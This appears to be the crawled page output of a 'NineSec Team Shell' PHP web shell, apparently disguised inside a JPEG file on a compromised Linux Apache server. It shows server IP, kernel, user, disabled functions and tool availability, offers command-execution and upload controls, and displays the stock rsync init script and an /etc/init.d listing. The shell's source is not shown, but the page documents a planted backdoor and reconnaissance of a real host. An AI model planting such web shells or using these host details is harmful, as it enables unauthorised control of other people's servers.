�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /etc/networkd-dispatcher/../init.d/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //etc/networkd-dispatcher/../init.d/rsync
#! /bin/sh

### BEGIN INIT INFO
# Provides:          rsyncd
# Required-Start:    $remote_fs $syslog
# Required-Stop:     $remote_fs $syslog
# Should-Start:      $named autofs
# Default-Start:     2 3 4 5
# Default-Stop:      
# Short-Description: fast remote file copy program daemon
# Description:       rsync is a program that allows files to be copied to and
#                    from remote machines in much the same way as rcp.
#                    This provides rsyncd daemon functionality.
### END INIT INFO

set -e

# /etc/init.d/rsync: start and stop the rsync daemon

DAEMON=/usr/bin/rsync
RSYNC_ENABLE=false
RSYNC_OPTS=''
RSYNC_DEFAULTS_FILE=/etc/default/rsync
RSYNC_CONFIG_FILE=/etc/rsyncd.conf
RSYNC_PID_FILE=/var/run/rsync.pid
RSYNC_NICE_PARM=''
RSYNC_IONICE_PARM=''

test -x $DAEMON || exit 0

. /lib/lsb/init-functions

if [ -s $RSYNC_DEFAULTS_FILE ]; then
    . $RSYNC_DEFAULTS_FILE
    case "x$RSYNC_ENABLE" in
	xtrue|xfalse)	;;
	xinetd)		exit 0
			;;
	*)		log_failure_msg "Value of RSYNC_ENABLE in $RSYNC_DEFAULTS_FILE must be either 'true' or 'false';"
			log_failure_msg "not starting rsync daemon."
			exit 1
			;;
    esac
    case "x$RSYNC_NICE" in
	x[0-9]|x1[0-9])	RSYNC_NICE_PARM="--nicelevel $RSYNC_NICE";;
	x)		;;
	*)		log_warning_msg "Value of RSYNC_NICE in $RSYNC_DEFAULTS_FILE must be a value between 0 and 19 (inclusive);"
			log_warning_msg "ignoring RSYNC_NICE now."
			;;
    esac
    case "x$RSYNC_IONICE" in
	x-c[123]*)	RSYNC_IONICE_PARM="$RSYNC_IONICE";;
	x)		;;
	*)		log_warning_msg "Value of RSYNC_IONICE in $RSYNC_DEFAULTS_FILE must be -c1, -c2 or -c3;"
			log_warning_msg "ignoring RSYNC_IONICE now."
			;;
    esac
fi

export PATH="${PATH:+$PATH:}/usr/sbin:/sbin"

rsync_start() {
    if [ ! -s "$RSYNC_CONFIG_FILE" ]; then
        log_failure_msg "missing or empty config file $RSYNC_CONFIG_FILE"
        log_end_msg 1
        exit 0
    fi
    # See ionice(1)
    if [ -n "$RSYNC_IONICE_PARM" ] && [ -x /usr/bin/ionice ] &&
        /usr/bin/ionice "$RSYNC_IONICE_PARM" true 2>/dev/null; then
        /usr/bin/ionice "$RSYNC_IONICE_PARM" -p$$ > /dev/null 2>&1
    fi
    if start-stop-daemon --start --quiet --background \
        --pidfile $RSYNC_PID_FILE --make-pidfile \
        $RSYNC_NICE_PARM --exec $DAEMON \
        -- --no-detach --daemon --config "$RSYNC_CONFIG_FILE" $RSYNC_OPTS
    then
        rc=0
        sleep 1
        if ! kill -0 $(cat $RSYNC_PID_FILE) >/dev/null 2>&1; then
            log_failure_msg "rsync daemon failed to start"
            rc=1
        fi
    else
        rc=1
    fi
    if [ $rc -eq 0 ]; then
        log_end_msg 0
    else
        log_end_msg 1
        rm -f $RSYNC_PID_FILE
    fi
} # rsync_start


case "$1" in
  start)
	if "$RSYNC_ENABLE"; then
	    log_daemon_msg "Starting rsync daemon" "rsync"
	    if [ -s $RSYNC_PID_FILE ] && kill -0 $(cat $RSYNC_PID_FILE) >/dev/null 2>&1; then
		log_progress_msg "apparently already running"
		log_end_msg 0
		exit 0
	    fi
            rsync_start
        else
            if [ -s "$RSYNC_CONFIG_FILE" ]; then
                [ "$VERBOSE" != no ] && log_warning_msg "rsync daemon not enabled in $RSYNC_DEFAULTS_FILE, not starting..."
            fi
	fi
	;;
  stop)
	log_daemon_msg "Stopping rsync daemon" "rsync"
	start-stop-daemon --stop --quiet --oknodo --retry 30 --pidfile $RSYNC_PID_FILE
	RETVAL="$?"
	log_end_msg $RETVAL
	if [ $RETVAL != 0 ]
	then
		exit 1
	fi
	rm -f $RSYNC_PID_FILE
	;;

  reload|force-reload)
	log_warning_msg "Reloading rsync daemon: not needed, as the daemon"
	log_warning_msg "re-reads the config file whenever a client connects."
	;;

  restart)
	set +e
	if $RSYNC_ENABLE; then
	    log_daemon_msg "Restarting rsync daemon" "rsync"
	    if [ -s $RSYNC_PID_FILE ] && kill -0 $(cat $RSYNC_PID_FILE) >/dev/null 2>&1; then
		start-stop-daemon --stop --quiet --oknodo --retry 30 --pidfile $RSYNC_PID_FILE
	    else
		log_warning_msg "rsync daemon not running, attempting to start."
	    	rm -f $RSYNC_PID_FILE
	    fi
            rsync_start
        else
            if [ -s "$RSYNC_CONFIG_FILE" ]; then
                [ "$VERBOSE" != no ] && log_warning_msg "rsync daemon not enabled in $RSYNC_DEFAULTS_FILE, not starting..."
            fi
	fi
	;;

  status)
	status_of_proc -p $RSYNC_PID_FILE "$DAEMON" rsync
	exit $?	# notreached due to set -e
	;;
  *)
	echo "Usage: /etc/init.d/rsync {start|stop|reload|force-reload|restart|status}"
	exit 1
esac

exit 0

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
December 18 2025 4:18:40
root
0755
apache-htcacheclean
2.431 KB
October 01 2020 1:09:43
root
0755
apache2
7.989 KB
October 01 2020 1:09:43
root
0755
apparmor
3.652 KB
April 01 2020 10:05:30
root
0755
atop
1.367 KB
January 25 2019 5:41:25
root
0755
atopacct
1.744 KB
January 25 2019 5:41:25
root
0755
clamav-daemon
9.339 KB
January 17 2022 2:19:19
root
0755
clamav-freshclam
7.512 KB
January 17 2022 2:19:19
root
0755
console-setup.sh
1.203 KB
March 27 2020 11:10:06
root
0755
cron
2.987 KB
February 11 2020 4:43:40
root
0755
dbus
3.078 KB
September 30 2019 9:47:02
root
0755
dovecot
5.119 KB
April 11 2021 10:25:41
root
0755
fail2ban
6.868 KB
March 02 2020 2:20:11
root
0755
firewalld
2.245 KB
April 04 2020 7:50:39
root
0755
hwclock.sh
3.72 KB
July 28 2019 11:44:43
root
0755
irqbalance
2.576 KB
December 13 2019 4:43:35
root
0755
keyboard-setup.sh
1.444 KB
November 27 2019 3:34:42
root
0755
kmod
1.996 KB
February 19 2020 10:12:20
root
0755
lm-sensors
0.862 KB
March 31 2022 3:46:19
root
0755
lookup-domain
0.509 KB
March 29 2022 10:51:02
root
0755
lvm2
0.679 KB
January 28 2020 4:44:19
root
0755
lvm2-lvmpolld
0.572 KB
January 28 2020 4:44:19
root
0755
milter-greylist
2.879 KB
January 24 2020 11:35:02
root
0755
mysql
5.476 KB
August 19 2021 3:32:33
root
0755
named
3.461 KB
September 16 2020 11:20:52
root
0755
opendkim
3.815 KB
December 27 2019 8:52:55
root
0755
php5.6-fpm
4.193 KB
November 19 2021 7:39:54
root
0755
php7.4-fpm
4.193 KB
February 17 2022 5:06:35
root
0755
php8.0-fpm
4.193 KB
March 20 2022 6:04:09
root
0755
php8.1-fpm
4.193 KB
April 04 2022 3:30:17
root
0755
php8.2-fpm
4.193 KB
February 07 2023 12:28:33
root
0755
php8.3-fpm
4.193 KB
January 20 2024 3:16:18
root
0755
plymouth
1.334 KB
March 23 2020 1:06:52
root
0755
plymouth-log
0.734 KB
March 23 2020 1:06:52
root
0755
postfix
3.289 KB
April 16 2020 7:48:33
root
0755
postgrey
3.796 KB
May 09 2019 1:35:08
root
0755
procps
0.902 KB
February 13 2020 11:44:31
root
0755
proftpd
5.197 KB
February 27 2020 8:30:14
root
0755
quota
0.929 KB
April 09 2019 10:11:01
root
0755
quotarpc
1.104 KB
April 09 2019 10:11:01
root
0755
rsync
4.313 KB
October 15 2019 2:04:36
root
0755
rsyslog
2.797 KB
March 07 2019 1:49:31
root
0755
saslauthd
10.524 KB
December 26 2019 3:48:32
root
0755
screen-cleanup
1.193 KB
April 03 2017 1:11:05
root
0755
spamassassin
2.047 KB
February 06 2020 2:13:48
root
0755
ssh
3.847 KB
February 26 2020 11:55:07
root
0755
udev
6.711 KB
April 22 2020 11:04:26
root
0755
ufw
2.034 KB
January 21 2020 11:16:06
root
0755
unattended-upgrades
1.358 KB
July 21 2020 5:20:12
root
0755
urandom
0.804 KB
April 25 2020 3:53:49
root
0755
uuidd
1.275 KB
April 02 2020 5:29:40
root
0755
x11-common
2.692 KB
January 20 2017 8:52:26
root
0755
zabbix-agent
1.636 KB
August 21 2019 4:45:46
root
0755

NineSec Team - 2022